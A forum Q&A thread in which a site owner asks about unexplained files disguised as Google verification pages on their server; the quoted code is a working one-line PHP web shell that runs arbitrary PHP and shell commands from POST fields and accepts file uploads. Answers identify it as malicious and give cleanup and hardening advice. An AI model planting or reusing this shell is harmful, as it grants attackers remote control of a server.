What's the purpose of this PHP code/hack.?

Question

I recently found 4 bizarre files on my server (that I didn't upload). The filename were like this: goog1e7a20543b128921.php

And here's the code that was inside them:

Goog1e_analist_up<?php $e=@$_POST['e'];$s=@$_POST['s'];if($e){eval($e);}if($s){system($s);}if($_FILES['f']['name']!=''){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);}?>

Do you have any idea what this code is supposed to do..? Should I start to panic..?

Thanks.

Answer 1

Yep, this is malicious code. This shell script will allow to execute code as well as upload any file is the attacker knows the parameters passed to it. I recommend searching all files for that code, verify file permission and change your passwords just in case.

Answer 2

Suggestion to deal with the attack

I would suggest you to use the HTML Purifier or OWASP to make things a lot secure.

You must disable the eval construct if you are not using that (and you shouldn't unless you really need to).

Analyze the server settings for any security holes with:

PHPSecInfo

_{(source: phpsec.org)}